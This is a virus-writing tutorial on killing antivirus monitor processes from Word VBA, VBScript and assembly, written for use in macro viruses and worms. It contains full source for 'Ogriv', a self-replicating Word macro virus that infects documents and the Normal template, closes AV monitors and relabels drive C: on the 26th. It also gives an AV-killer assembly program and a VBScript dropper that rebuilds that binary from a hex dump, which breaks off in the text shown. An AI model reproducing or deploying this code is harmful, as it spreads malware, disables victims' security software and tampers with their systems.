=========================================
Killing AV Monitors under VB
-----------------------------------------
By LiteSYS/XAKER - <liteno2@softhome.net>
=========================================

After taking a look at Benny/29A's "How to k!ll some AV Monitors", which
explained how to unload AV monitors under Asm... I thought if this
wonderful retro technique could be done under VB and used under macro
viruses and WSH stuff so I decided to take a look at the VBA object
explorer...

The key is the "Tasks" object... it gives you lots of functions to work
with the currently running processes under Windows. Let's take a look at
this little code, which will show some boxes with every windows' name.

--------------------------------
Sub gandola()
On Error Resume Next

For I = 1 to Tasks.Count
MsgBox Tasks.Item(I).Name
Next

End Sub
--------------------------------

If you take a look at the stuff under .Item(I) you will see some event
called "Close", that's the one we are going to use... what it does is
send the "WM_QUIT" message to the process and it will go down.

Do you catch the idea? the only thing you need to know to deactivate some
monitors is the monitor's window name, this can be something like
"AVP Monitor" (AVP) or "NAI_VS_STAT" (NAI) and such things alike, so
if you want to get those names you should load your AV monitor and use the
first exposed code (Sub gandola).

When you are going to unload your AV you must use the Name property
and some stuff, just take a look at this example, which unloads AVP.

--------------------------------
Sub nohaybillete()
On Error Resume Next

For I = 1 to Tasks.Count
If ( Tasks.Item(I).Name = "AVP Monitor" ) Then Tasks.Item(I).Close
Next

End Sub
--------------------------------

An you're done, no more AVP and you are totally free...

Something that you must be aware of, don't forget to put an
"On Error Resume Next" statement or VBA will tell you there's an
error on such "Task" that doesn't exist...

I wrote a sample virus called Ogriv (Virgo spelled backwards =P),
nothing special, just an example, it kills both AVP and NAI. I
sincerely don't know if this is the first virus capable of doing
this, but if you, dear reader, know it, please inform me =).

I hope this code helps you...

--------------------------------
'Ogriv
'By LiteSYS/XAKER
Sub Document_Open()
On Error Resume Next
With VBE.ActiveVBProject: Set Gele = .VBComponents(1).CodeModule: End With
With ActiveDocument.VBProject: Set ADO = .VBComponents(1).CodeModule: End With
With NormalTemplate.VBProject: Set NTO = .VBComponents(1).CodeModule: End With
With Tasks
For I = 1 To .Count
If (.Item(I).Name = "AVP Monitor") Or (.Item(I).Name = "NAI_VS_STAT") Then .Item(I).Close
Next
End With
Evo = Gele.Lines(1, Gele.CountOfLines)
If (ADO.Lines(1, 1) <> "'Ogriv") Then ADO.AddFromString Evo
If (NTO.Lines(1, 1) <> "'Ogriv") Then NTO.AddFromString Evo
If (Day(Now) = 26) Then Pix = Shell("LABEL C: OGRIV!!!", vbHide)
End Sub
--------------------------------

Recently, I was trying to do it under VBScript and there is no such
Tasks object under VBS, but you can create an object pointing to
Word.Application and the code is the same, but this will only work
in systems with Word installed, that's the problem.

As i said, you need to create an object pointing to Word.Application.
Here is the first code you saw but works on VBScript.

--------------------------------
On Error Resume Next
Set Guord = CreateObject("Word.Application")
With Guord

For I = 1 to .Tasks.Count
MsgBox .Tasks.Item(I).Name
Next

.Quit
End With
--------------------------------

And the second code you saw...

--------------------------------
On Error Resume Next
Set Guord = CreateObject("Word.Application")
With Guord
For I = 1 to .Tasks.Count
If (.Tasks.Item(I).Name = "AVP Monitor") Or (.Tasks.Item(I).Name = "NAI_VS_STAT" ) Then .Tasks.Item(I).Close
Next
.Quit
End With
--------------------------------

There's another method... what about dropping a simple executable
(written in assembly ofcoz) that can use directly the FindWindowA
and PostMessageA APIs? fully compatible with every windoze version
and you don't have to relay in that untrustable Word object...

I must thank Benny/29A for his AV monitor deactivation tute that
appeared in 29A #4, because it was my inspiration to do this...

Ok, you must use your Debug script or your Chr stuff to write to
the file. Look at the assembly code first, it kills both AVP
and NAI:

--------------------------------
.386
.MODEL FLAT, STDCALL
LOCALS
JUMPS

EXTRN ExitProcess:PROC
EXTRN FindWindowA:PROC
EXTRN PostMessageA:PROC

.DATA
DD ?
.CODE

RETRO:
MOV EAX, OFFSET Titulo_NAI
CALL MATA_MONI

MOV EAX, OFFSET Titulo_AVP
CALL MATA_MONI


PUSH 0
CALL ExitProcess

Titulo_AVP db "AVP Monitor", 00h
Titulo_NAI db "NAI_VS_STAT", 00h

MATA_MONI PROC NEAR

PUSH EAX
PUSH 0
CALL FindWindowA
JNZ SI_MATARAS

RET

SI_MATARAS:
PUSH 0
PUSH 0
PUSH 12h
PUSH EAX
CALL PostMessageA

RET
MATA_MONI ENDP

END RETRO
--------------------------------

Assemble, Link it and create your script or your Chrs... i
don't like the debug script idea because it's too slooooow so
i prefer put it on your
virus/worm and you're all set, look at this example:

--------------------------------
Set fso = CreateObject("Scripting.FileSystemObject")
Set fil = fso.CreateTextFile ("retro.scr", True)
Set WSS = CreateObject("Wscript.Shell")

Fil.WriteLine("n RETRO.DAT")
Fil.WriteLine("")
Fil.WriteLine("e 100 4D 5A 50 0 2 0 0 0 4 0 F 0 FF FF 0 0 ")
Fil.WriteLine("e 110 B8 0 0 0 0 0 0 0 40 0 1A 0 0 0 0 0 ")
Fil.WriteLine("e 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 130 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 ")
Fil.WriteLine("e 140 BA 10 0 E 1F B4 9 CD 21 B8 1 4C CD 21 90 90 ")
Fil.WriteLine("e 150 54 68 69 73 20 70 72 6F 67 72 61 6D 20 6D 75 73 ")
Fil.WriteLine("e 160 74 20 62 65 20 72 75 6E 20 75 6E 64 65 72 20 57 ")
Fil.WriteLine("e 170 69 6E 33 32 D A 24 37 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 180 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 190 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 200 50 45 0 0 4C 1 4 0 94 2A 11 2D 0 0 0 0 ")
Fil.WriteLine("e 210 0 0 0 0 E0 0 8E 81 B 1 2 19 0 2 0 0 ")
Fil.WriteLine("e 220 0 4 0 0 0 0 0 0 0 10 0 0 0 10 0 0 ")
Fil.WriteLine("e 230 0 20 0 0 0 0 40 0 0 10 0 0 0 2 0 0 ")
Fil.WriteLine("e 240 1 0 0 0 0 0 0 0 3 0 A 0 0 0 0 0 ")
Fil.WriteLine("e 250 0 50 0 0 0 4 0 0 0 0 0 0 2 0 0 0 ")
Fil.WriteLine("e 260 0 0 10 0 0 20 0 0 0 0 10 0 0 10 0 0 ")
Fil.WriteLine("e 270 0 0 0 0 10 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 280 0 30 0 0 A8 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 290 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2A0 0 40 0 0 14 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 2F0 0 0 0 0 0 0 0 0 43 4F 44 45 0 0 0 0 ")
Fil.WriteLine("e 300 0 10 0 0 0 10 0 0 0 2 0 0 0 6 0 0 ")
Fil.WriteLine("e 310 0 0 0 0 0 0 0 0 0 0 0 0 20 0 0 E0 ")
Fil.WriteLine("e 320 44 41 54 41 0 0 0 0 0 10 0 0 0 20 0 0 ")
Fil.WriteLine("e 330 0 0 0 0 0 8 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 340 0 0 0 0 40 0 0 C0 2E 69 64 61 74 61 0 0 ")
Fil.WriteLine("e 350 0 10 0 0 0 30 0 0 0 2 0 0 0 8 0 0 ")
Fil.WriteLine("e 360 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 C0 ")
Fil.WriteLine("e 370 2E 72 65 6C 6F 63 0 0 0 10 0 0 0 40 0 0 ")
Fil.WriteLine("e 380 0 2 0 0 0 A 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 390 0 0 0 0 40 0 0 50 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 3F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 400 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 410 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 420 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 430 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 440 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 450 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 460 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 470 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 480 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 490 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 4F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 510 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 520 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 530 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 540 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 550 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 560 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 570 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 580 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 590 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 5F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 600 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 610 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 620 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 630 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 640 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 650 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 660 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 670 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 680 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 690 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 6F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 700 B8 27 10 40 0 E8 29 0 0 0 B8 1B 10 40 0 E8 ")
Fil.WriteLine("e 710 1F 0 0 0 6A 0 E8 30 0 0 0 41 56 50 20 4D ")
Fil.WriteLine("e 720 6F 6E 69 74 6F 72 0 4E 41 49 5F 56 53 5F 53 54 ")
Fil.WriteLine("e 730 41 54 0 50 6A 0 E8 1C 0 0 0 75 1 C3 6A 0 ")
Fil.WriteLine("e 740 6A 0 6A 12 50 E8 7 0 0 0 C3 FF 25 50 30 40 ")
Fil.WriteLine("e 750 0 FF 25 58 30 40 0 FF 25 5C 30 40 0 0 0 0 ")
Fil.WriteLine("e 760 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 770 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 780 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 790 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 7F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 800 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 810 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 820 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 830 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 840 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 850 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 860 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 870 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 880 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 890 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 8F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 900 3C 30 0 0 0 0 0 0 0 0 0 0 64 30 0 0 ")
Fil.WriteLine("e 910 50 30 0 0 44 30 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 920 71 30 0 0 58 30 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 930 0 0 0 0 0 0 0 0 0 0 0 0 7C 30 0 0 ")
Fil.WriteLine("e 940 0 0 0 0 8A 30 0 0 9A 30 0 0 0 0 0 0 ")
Fil.WriteLine("e 950 7C 30 0 0 0 0 0 0 8A 30 0 0 9A 30 0 0 ")
Fil.WriteLine("e 960 0 0 0 0 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C ")
Fil.WriteLine("e 970 0 55 53 45 52 33 32 2E 64 6C 6C 0 0 0 45 78 ")
Fil.WriteLine("e 980 69 74 50 72 6F 63 65 73 73 0 0 0 50 6F 73 74 ")
Fil.WriteLine("e 990 4D 65 73 73 61 67 65 41 0 0 0 0 46 69 6E 64 ")
Fil.WriteLine("e 9A0 57 69 6E 64 6F 77 41 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 9B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 9C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 9D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 9E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 9F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e A90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AD0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e AF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B00 0 10 0 0 14 0 0 0 1 30 B 30 4D 30 53 30 ")
Fil.WriteLine("e B10 59 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e B90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BD0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e BF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e C90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CD0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e CF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e D90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DD0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e DF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e E90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e EA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e EB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e EC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e ED0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e EE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e EF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F70 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e F90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FA0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FB0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FC0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FD0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FE0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e FF0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1010 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1020 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1030 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1040 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1050 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1060 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1070 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1080 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1090 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 10A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 10B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 10C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 10D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
